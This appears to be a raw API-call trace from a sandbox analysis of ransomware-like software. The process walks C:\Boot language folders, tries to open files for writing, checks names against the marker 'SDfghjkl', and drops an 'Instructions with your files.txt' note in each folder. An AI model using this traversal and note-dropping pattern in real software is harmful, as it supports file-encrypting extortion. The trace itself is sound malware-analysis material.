[0031.772] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\.") returned 19
[0031.772] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0031.772] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\..") returned 20
[0031.772] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0031.772] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 33
[0031.772] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0031.772] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0031.773] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0031.773] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\Instructions with your files.txt") returned 50
[0031.773] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\Instructions with your files.txt" (normalized: "c:\\boot\\el-gr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0031.773] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0031.774] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0031.774] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0031.774] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0031.774] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0031.774] CloseHandle (hObject=0x108) returned 1
[0031.774] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0031.776] GetProcessHeap () returned 0x2e0000
[0031.776] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0031.776] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0031.776] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US") returned 17
[0031.776] GetProcessHeap () returned 0x2e0000
[0031.776] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0031.776] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\*") returned 19
[0031.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0031.776] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\.") returned 19
[0031.776] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0031.776] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\..") returned 20
[0031.776] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0031.776] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui") returned 33
[0031.776] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0031.776] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0031.776] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
[0031.776] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui") returned 33
[0031.776] StrStrIW (lpFirst="memtest.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0031.776] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0031.776] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
[0031.777] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\Instructions with your files.txt") returned 50
[0031.777] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\Instructions with your files.txt" (normalized: "c:\\boot\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0032.843] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0032.844] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0032.844] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0032.844] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0032.844] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0032.845] CloseHandle (hObject=0x108) returned 1
[0032.845] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0032.845] GetProcessHeap () returned 0x2e0000
[0032.845] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0032.845] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
[0032.845] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES") returned 17
[0032.845] GetProcessHeap () returned 0x2e0000
[0032.845] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0032.845] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\*") returned 19
[0032.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0032.885] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\.") returned 19
[0032.885] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0032.885] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\..") returned 20
[0032.885] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0032.885] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 33
[0032.885] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0032.886] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.886] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0032.886] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\Instructions with your files.txt") returned 50
[0032.886] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\Instructions with your files.txt" (normalized: "c:\\boot\\es-es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0032.892] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0032.893] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0032.893] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0032.893] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0032.893] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0032.893] CloseHandle (hObject=0x108) returned 1
[0032.893] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0032.893] GetProcessHeap () returned 0x2e0000
[0032.893] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0032.893] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
[0032.893] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI") returned 17
[0032.893] GetProcessHeap () returned 0x2e0000
[0032.893] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0032.894] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\*") returned 19
[0032.894] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0032.894] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\.") returned 19
[0032.894] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0032.894] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\..") returned 20
[0032.894] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0032.894] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 33
[0032.894] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0032.894] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.894] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0032.894] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\Instructions with your files.txt") returned 50
[0032.894] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\Instructions with your files.txt" (normalized: "c:\\boot\\fi-fi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0032.894] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0032.895] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0032.895] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0032.895] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0032.896] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0032.896] CloseHandle (hObject=0x108) returned 1
[0032.896] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0032.896] GetProcessHeap () returned 0x2e0000
[0032.896] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0032.896] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
[0032.896] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts") returned 17
[0032.896] GetProcessHeap () returned 0x2e0000
[0032.896] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0032.896] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\*") returned 19
[0032.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0032.900] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\.") returned 19
